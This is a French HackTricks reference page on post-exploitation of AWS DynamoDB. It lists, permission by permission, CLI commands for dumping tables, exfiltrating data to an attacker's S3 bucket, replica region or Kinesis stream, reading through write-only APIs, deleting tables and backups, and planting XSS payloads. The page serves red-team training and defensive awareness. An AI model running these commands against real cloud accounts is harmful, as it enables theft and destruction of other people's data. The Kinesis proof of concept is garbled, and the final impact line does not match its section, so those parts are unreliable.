AWS - DynamoDB Post Exploitation

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

DynamoDB

Pour plus d’informations, voir :

AWS - DynamoDB Enum

dynamodb:BatchGetItem

Un attaquant disposant de ces permissions pourra obtenir des éléments des tables par la clé primaire (vous ne pouvez pas simplement demander toutes les données de la table). Cela signifie que vous devez connaßtre les clés primaires (vous pouvez les obtenir en récupérant les métadonnées de la table (describe-table)).

aws dynamodb batch-get-item --request-items file:///tmp/a.json

// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}

Impact potentiel : Indirect privesc en localisant des informations sensibles dans la table

dynamodb:GetItem

Similaire aux autorisations prĂ©cĂ©dentes celle-ci permet Ă  un attaquant potentiel de lire des valeurs d’une seule table Ă  partir de la clĂ© primaire de l’entrĂ©e Ă  rĂ©cupĂ©rer :

aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json

// With a.json
{
"Id" : {
"N": "205"
}
}

Avec cette autorisation, il est Ă©galement possible d’utiliser la mĂ©thode transact-get-items comme :

aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json

// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]

Impact potentiel : Indirect privesc en localisant des informations sensibles dans la table

dynamodb:Query

Similaire aux autorisations prĂ©cĂ©dentes celle-ci permet Ă  un attaquant potentiel de lire des valeurs d’une seule table Ă  condition de connaĂźtre la clĂ© primaire de l’entrĂ©e Ă  rĂ©cupĂ©rer. Elle permet d’utiliser un sous-ensemble de comparaisons, mais la seule comparaison autorisĂ©e avec la clĂ© primaire (qui doit apparaĂźtre) est “EQ”, donc vous ne pouvez pas utiliser une comparaison pour obtenir l’ensemble du DB dans une requĂȘte.

aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json

// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}

Impact potentiel : privesc indirect en localisant des informations sensibles dans la table

dynamodb:Scan

Vous pouvez utiliser cette permission pour dump facilement toute la table.

aws dynamodb scan --table-name <t_name> #Get data inside the table

Impact potentiel : Indirect privesc en localisant des informations sensibles dans la table

dynamodb:PartiQLSelect

Vous pouvez utiliser cette permission pour dump facilement l’intĂ©gralitĂ© de la table.

aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"

Cette autorisation permet Ă©galement d’exĂ©cuter batch-execute-statement comme :

aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'

mais vous devez spĂ©cifier la clĂ© primaire avec une valeur, donc ce n’est pas trĂšs utile.

Impact potentiel : privesc indirect en localisant des informations sensibles dans la table

dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)

Cette permission permettra Ă  un attaquant de exporter l’intĂ©gralitĂ© de la table vers un S3 bucket de son choix:

aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>

Remarque : pour que cela fonctionne, la table doit avoir point-in-time-recovery activĂ©. Vous pouvez vĂ©rifier si la table l’a avec :

aws dynamodb describe-continuous-backups \
--table-name <tablename>

S’il n’est pas activĂ©, vous devrez l’activer et pour cela vous avez besoin de l’autorisation dynamodb:ExportTableToPointInTime:

aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true

Impact potentiel : Indirect privesc en localisant des informations sensibles dans la table

dynamodb:CreateTable, dynamodb:RestoreTableFromBackup, (dynamodb:CreateBackup)

Avec ces permissions, un attaquant pourrait crĂ©er une nouvelle table Ă  partir d’une sauvegarde (ou mĂȘme crĂ©er une sauvegarde pour ensuite la restaurer dans une table diffĂ©rente). Ensuite, avec les permissions nĂ©cessaires, il pourrait consulter des informations depuis les sauvegardes qui ne pourraient plus se trouver dans la table de production.

aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>

Impact potentiel : Indirect privesc en localisant des informations sensibles dans la sauvegarde de la table

dynamodb:PutItem

Cette permission permet aux utilisateurs d’ajouter un nouvel Ă©lĂ©ment Ă  la table ou de remplacer un Ă©lĂ©ment existant par un nouvel Ă©lĂ©ment. Si un Ă©lĂ©ment ayant la mĂȘme clĂ© primaire existe dĂ©jĂ , l’ensemble de l’élĂ©ment sera remplacĂ© par le nouvel Ă©lĂ©ment. Si la clĂ© primaire n’existe pas, un nouvel Ă©lĂ©ment avec la clĂ© primaire spĂ©cifiĂ©e sera créé.

## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S":  "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}

Impact potentiel : Exploitation de vulnérabilités/bypasses supplémentaires en pouvant ajouter/modifier des données dans une table DynamoDB

dynamodb:UpdateItem

Cette permission permet aux utilisateurs de modifier les attributs existants d’un item ou d’ajouter de nouveaux attributs Ă  un item. Elle ne remplace pas l’ensemble de l’item ; elle met Ă  jour uniquement les attributs spĂ©cifiĂ©s. Si la clĂ© primaire n’existe pas dans la table, l’opĂ©ration crĂ©era un nouvel item avec la clĂ© primaire spĂ©cifiĂ©e et dĂ©finira les attributs indiquĂ©s dans l’expression de mise Ă  jour.

## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}

Impact potentiel : Exploitation de vulnérabilités/bypasses supplémentaires en pouvant ajouter/modifier des données dans une table DynamoDB

dynamodb:DeleteTable

Un attaquant disposant de cette autorisation peut supprimer une table DynamoDB, entraßnant une perte de données.

aws dynamodb delete-table \
--table-name TargetTable \
--region <region>

Impact potentiel : Perte de données et interruption des services dépendant de la table supprimée.

dynamodb:DeleteBackup

Un attaquant disposant de cette permission peut supprimer une sauvegarde DynamoDB, entraßnant potentiellement une perte de données en cas de scénario de reprise aprÚs sinistre.

aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>

Impact potentiel: Perte de donnĂ©es et impossibilitĂ© de restaurer Ă  partir d’une sauvegarde lors d’un scĂ©nario de reprise aprĂšs sinistre.

dynamodb:StreamSpecification, dynamodb:UpdateTable, dynamodb:DescribeStream, dynamodb:GetShardIterator, dynamodb:GetRecords

Note

TODO : Tester si cela fonctionne réellement

Un attaquant disposant de ces permissions peut activer un stream sur une table DynamoDB, mettre Ă  jour la table pour commencer Ă  streamer les changements, puis accĂ©der au stream pour surveiller les changements de la table en temps rĂ©el. Cela permet Ă  l’attaquant de surveiller et d’exfiltrate les changements de donnĂ©es, pouvant mener Ă  data leakage.

  1. Activer un stream sur une table DynamoDB :
aws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
  1. DĂ©crire le flux pour obtenir l’ARN et d’autres dĂ©tails :
aws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
  1. Obtenez le shard iterator en utilisant le stream ARN :
aws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
  1. Utilisez le shard iterator pour accéder et exfiltrate des données du stream:
aws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>

Impact potentiel : Surveillance en temps réel et data leakage des changements de la table DynamoDB.

Lire des éléments via dynamodb:UpdateItem and ReturnValues=ALL_OLD

Un attaquant disposant uniquement de dynamodb:UpdateItem sur une table peut lire des Ă©lĂ©ments sans aucune des permissions de lecture habituelles (GetItem/Query/Scan) en effectuant une mise Ă  jour bĂ©nigne et en demandant --return-values ALL_OLD. DynamoDB renverra l’image complĂšte de l’élĂ©ment avant la mise Ă  jour dans le champ Attributes de la rĂ©ponse (cela ne consomme pas de RCUs).

  • Permissions minimales : dynamodb:UpdateItem sur la table/clĂ© cible.
  • PrĂ©requis : Vous devez connaĂźtre la clĂ© primaire de l’élĂ©ment.

Exemple (ajoute un attribut inoffensif et exfiltre l’élĂ©ment prĂ©cĂ©dent dans la rĂ©ponse) :

aws dynamodb update-item \
--table-name <TargetTable> \
--key '{"<PKName>":{"S":"<PKValue>"}}' \
--update-expression 'SET #m = :v' \
--expression-attribute-names '{"#m":"exfil_marker"}' \
--expression-attribute-values '{":v":{"S":"1"}}' \
--return-values ALL_OLD \
--region <region>

La rĂ©ponse CLI inclura un bloc Attributes contenant l’élĂ©ment prĂ©cĂ©dent complet (tous les attributs), fournissant effectivement une primitive de lecture Ă  partir d’un accĂšs en Ă©criture seule.

Impact potentiel : Lire des Ă©lĂ©ments arbitraires d’une table avec uniquement des permissions d’écriture, permettant l’exfiltration de donnĂ©es sensibles lorsque les clĂ©s primaires sont connues.

dynamodb:UpdateTable (replica-updates) | dynamodb:CreateTableReplica

Exfiltration discrĂšte en ajoutant une nouvelle rĂ©plique rĂ©gionale Ă  une DynamoDB Global Table (version 2019.11.21). Si un principal peut ajouter une rĂ©plique rĂ©gionale, la table entiĂšre est rĂ©pliquĂ©e vers la rĂ©gion choisie par l’attaquant, depuis laquelle l’attaquant peut lire tous les Ă©lĂ©ments.

# Add a new replica Region (from primary Region)
aws dynamodb update-table \
--table-name <TableName> \
--replica-updates '[{"Create": {"RegionName": "<replica-region>"}}]' \
--region <primary-region>

# Wait until the replica table becomes ACTIVE in the replica Region
aws dynamodb describe-table --table-name <TableName> --region <replica-region> --query 'Table.TableStatus'

# Exfiltrate by reading from the replica Region
aws dynamodb scan --table-name <TableName> --region <replica-region>

Permissions : dynamodb:UpdateTable (with replica-updates) or dynamodb:CreateTableReplica on the target table. If CMK is used in the replica, KMS permissions for that key may be required.

Potential Impact : Full-table replication to an attacker-controlled Region leading to stealthy data exfiltration.

dynamodb:TransactWriteItems (read via failed condition + ReturnValuesOnConditionCheckFailure=ALL_OLD)

Un attacker disposant de transactional write privileges peut exfiltrate les attributs complets d’un item existant en effectuant un Update dans TransactWriteItems qui Ă©choue intentionnellement une ConditionExpression tout en dĂ©finissant ReturnValuesOnConditionCheckFailure=ALL_OLD. En cas d’échec, DynamoDB inclut les attributs antĂ©rieurs dans les transaction cancellation reasons, transformant ainsi un accĂšs write-only en accĂšs read des keys ciblĂ©es.

# Create the transaction input (list form for --transact-items)
cat > /tmp/tx_items.json << 'JSON'
[
{
"Update": {
"TableName": "<TableName>",
"Key": {"<PKName>": {"S": "<PKValue>"}},
"UpdateExpression": "SET #m = :v",
"ExpressionAttributeNames": {"#m": "marker"},
"ExpressionAttributeValues": {":v": {"S": "x"}},
"ConditionExpression": "attribute_not_exists(<PKName>)",
"ReturnValuesOnConditionCheckFailure": "ALL_OLD"
}
}
]
JSON

# Execute. Newer AWS CLI versions support returning cancellation reasons
aws dynamodb transact-write-items \
--transact-items file:///tmp/tx_items.json \
--region <region> \
--return-cancellation-reasons
# The command fails with TransactionCanceledException; parse cancellationReasons[0].Item

Autorisations : dynamodb:TransactWriteItems sur la table cible (et l’item sous-jacent). Aucune autorisation de lecture n’est requise.

Impact potentiel : lire des items arbitraires (par clĂ© primaire) d’une table en n’ayant que les privilĂšges d’écriture transactionnelle, via les raisons d’annulation renvoyĂ©es.

dynamodb:UpdateTable + dynamodb:UpdateItem + dynamodb:Query on GSI

Contournez les restrictions de lecture en crĂ©ant un Global Secondary Index (GSI) avec ProjectionType=ALL sur un attribut Ă  faible entropie, en dĂ©finissant cet attribut sur une valeur constante pour tous les items, puis en utilisant Query sur l’index pour rĂ©cupĂ©rer les items complets. Cela fonctionne mĂȘme si Query/Scan sur la table de base est refusĂ©, tant que vous pouvez interroger l’ARN de l’index.

  • Autorisations minimales :
  • dynamodb:UpdateTable sur la table cible (pour crĂ©er le GSI avec ProjectionType=ALL).
  • dynamodb:UpdateItem sur les clĂ©s de la table cible (pour dĂ©finir l’attribut indexĂ© sur chaque item).
  • dynamodb:Query sur l’ARN de la ressource d’index (arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>).

Étapes (PoC in us-east-1):

# 1) Create table and seed items (without the future GSI attribute)
aws dynamodb create-table --table-name HTXIdx \
--attribute-definitions AttributeName=id,AttributeType=S \
--key-schema AttributeName=id,KeyType=HASH \
--billing-mode PAY_PER_REQUEST --region us-east-1
aws dynamodb wait table-exists --table-name HTXIdx --region us-east-1
for i in 1 2 3 4 5; do \
aws dynamodb put-item --table-name HTXIdx \
--item "{\"id\":{\"S\":\"$i\"},\"secret\":{\"S\":\"sec-$i\"}}" \
--region us-east-1; done

# 2) Add GSI on attribute X with ProjectionType=ALL
aws dynamodb update-table --table-name HTXIdx \
--attribute-definitions AttributeName=X,AttributeType=S \
--global-secondary-index-updates '[{"Create":{"IndexName":"ExfilIndex","KeySchema":[{"AttributeName":"X","KeyType":"HASH"}],"Projection":{"ProjectionType":"ALL"}}}]' \
--region us-east-1
# Wait for index to become ACTIVE
aws dynamodb describe-table --table-name HTXIdx --region us-east-1 \
--query 'Table.GlobalSecondaryIndexes[?IndexName==`ExfilIndex`].IndexStatus'

# 3) Set X="dump" for each item (only UpdateItem on known keys)
for i in 1 2 3 4 5; do \
aws dynamodb update-item --table-name HTXIdx \
--key "{\"id\":{\"S\":\"$i\"}}" \
--update-expression 'SET #x = :v' \
--expression-attribute-names '{"#x":"X"}' \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1; done

# 4) Query the index by the constant value to retrieve full items
aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
--key-condition-expression '#x = :v' \
--expression-attribute-names '{"#x":"X"}' \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1

Impact potentiel : Exfiltration complĂšte de la table en interrogeant un GSI nouvellement créé qui projette tous les attributs, mĂȘme lorsque les API de lecture de la table principale sont refusĂ©es.

dynamodb:EnableKinesisStreamingDestination (Exfiltration en continu via Kinesis Data Streams)

Abuser des destinations de streaming Kinesis de DynamoDB pour exfiltrer en continu les modifications d’une table vers un Kinesis Data Stream contrĂŽlĂ© par l’attaquant. Une fois activĂ©, chaque Ă©vĂ©nement INSERT/MODIFY/REMOVE est transmis en quasi-temps rĂ©el au stream sans nĂ©cessiter de permissions de lecture sur la table.

Permissions minimales (attaquant) :

  • dynamodb:EnableKinesisStreamingDestination sur la table cible
  • Optionnellement dynamodb:DescribeKinesisStreamingDestination/dynamodb:DescribeTable pour surveiller le statut
  • Permissions de lecture sur le stream Kinesis contrĂŽlĂ© par l’attaquant pour consommer les enregistrements : kinesis:*
PoC (us-east-1) ```bash # 1) Prepare: create a table and seed one item aws dynamodb create-table --table-name HTXKStream \ --attribute-definitions AttributeName=id,AttributeType=S \ --key-schema AttributeName=id,KeyType=HASH \ --billing-mode PAY_PER_REQUEST --region us-east-1 aws dynamodb wait table-exists --table-name HTXKStream --region us-east-1 aws dynamodb put-item --table-name HTXKStream \ --item file:///tmp/htx_item1.json --region us-east-1 # /tmp/htx_item1.json # {"id":{"S":"a1"},"secret":{"S":"s-1"}}

2) Create attacker Kinesis Data Stream

aws kinesis create-stream –stream-name htx-ddb-exfil –shard-count 1 –region us-east-1 aws kinesis wait stream-exists –stream-name htx-ddb-exfil –region us-east-1

3) Enable the DynamoDB -> Kinesis streaming destination

STREAM_ARN=$(aws kinesis describe-stream-summary –stream-name htx-ddb-exfil
–region us-east-1 –query StreamDescriptionSummary.StreamARN –output text) aws dynamodb enable-kinesis-streaming-destination
–table-name HTXKStream –stream-arn “$STREAM_ARN” –region us-east-1

Optionally wait until ACTIVE

aws dynamodb describe-kinesis-streaming-destination –table-name HTXKStream
–region us-east-1 –query KinesisDataStreamDestinations[0].DestinationStatus

4) Generate changes on the table

aws dynamodb put-item –table-name HTXKStream
–item file:///tmp/htx_item2.json –region us-east-1

/tmp/htx_item2.json

{“id”:{“S”:“a2”},“secret”:{“S”:“s-2”}}

aws dynamodb update-item –table-name HTXKStream
–key file:///tmp/htx_key_a1.json
–update-expression “SET #i = :v”
–expression-attribute-names {#i:info}
–expression-attribute-values {:v:{S:updated}}
–region us-east-1

/tmp/htx_key_a1.json -> {“id”:{“S”:“a1”}}

5) Consume from Kinesis to observe DynamoDB images

SHARD=$(aws kinesis list-shards –stream-name htx-ddb-exfil –region us-east-1
–query Shards[0].ShardId –output text) IT=$(aws kinesis get-shard-iterator –stream-name htx-ddb-exfil –shard-id “$SHARD”
–shard-iterator-type TRIM_HORIZON –region us-east-1 –query ShardIterator –output text) aws kinesis get-records –shard-iterator “$IT” –limit 10 –region us-east-1 > /tmp/krec.json

Decode one record (Data is base64-encoded)

jq -r .Records[0].Data /tmp/krec.json | base64 –decode | jq .

6) Cleanup (recommended)

aws dynamodb disable-kinesis-streaming-destination
–table-name HTXKStream –stream-arn “$STREAM_ARN” –region us-east-1 || true aws kinesis delete-stream –stream-name htx-ddb-exfil –enforce-consumer-deletion –region us-east-1 || true aws dynamodb delete-table –table-name HTXKStream –region us-east-1 || true

### `dynamodb:UpdateTimeToLive`

Un attaquant disposant de la permission dynamodb:UpdateTimeToLive peut modifier la configuration TTL (time-to-live) d'une table — activer ou dĂ©sactiver le TTL. Lorsque le TTL est activĂ©, les Ă©lĂ©ments individuels contenant l'attribut TTL configurĂ© seront automatiquement supprimĂ©s dĂšs que leur date d'expiration est atteinte. La valeur TTL n'est qu'un autre attribut de chaque Ă©lĂ©ment ; les Ă©lĂ©ments sans cet attribut ne sont pas affectĂ©s par la suppression basĂ©e sur le TTL.

Si les éléments ne contiennent pas déjà l'attribut TTL, l'attaquant aurait également besoin d'une permission de mise à jour des éléments (par exemple dynamodb:UpdateItem) pour ajouter l'attribut TTL et provoquer des suppressions massives.

Commencez par activer le TTL sur la table, en spécifiant le nom de l'attribut à utiliser pour l'expiration :
```bash
aws dynamodb update-time-to-live \
--table-name <TABLE_NAME> \
--time-to-live-specification "Enabled=true, AttributeName=<TTL_ATTRIBUTE_NAME>"

Ensuite, mettez Ă  jour les Ă©lĂ©ments pour ajouter l’attribut TTL (secondes depuis l’époque Unix) afin qu’ils expirent et soient supprimĂ©s :

aws dynamodb update-item \
--table-name <TABLE_NAME> \
--key '<PRIMARY_KEY_JSON>' \
--update-expression "SET <TTL_ATTRIBUTE_NAME> = :t" \
--expression-attribute-values '{":t":{"N":"<EPOCH_SECONDS_VALUE>"}}'

dynamodb:RestoreTableFromAwsBackup & dynamodb:RestoreTableToPointInTime

Un attaquant disposant des permissions dynamodb:RestoreTableFromAwsBackup ou dynamodb:RestoreTableToPointInTime peut crĂ©er de nouvelles tables restaurĂ©es Ă  partir de sauvegardes ou de la rĂ©cupĂ©ration point-in-time (PITR) sans Ă©craser la table d’origine. La table restaurĂ©e contient une image complĂšte des donnĂ©es au point sĂ©lectionnĂ©, donc l’attaquant peut l’utiliser pour exfiltrate des informations historiques ou obtenir un dump complet de l’état passĂ© de la base de donnĂ©es.

Restaurer une table DynamoDB à partir d’une sauvegarde à la demande:

aws dynamodb restore-table-from-backup \
--target-table-name <NEW_TABLE_NAME> \
--backup-arn <BACKUP_ARN>

Restaurer une table DynamoDB Ă  un point dans le temps (crĂ©er une nouvelle table avec l’état restaurĂ©) :

aws dynamodb restore-table-to-point-in-time \
--source-table-name <SOURCE_TABLE_NAME> \
--target-table-name <NEW_TABLE_NAME> \
--use-latest-restorable-time

Impact potentiel : Exfiltration continue et quasi en temps réel des modifications de la table vers un Kinesis stream contrÎlé par un attaquant sans opérations de lecture directes sur la table.

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks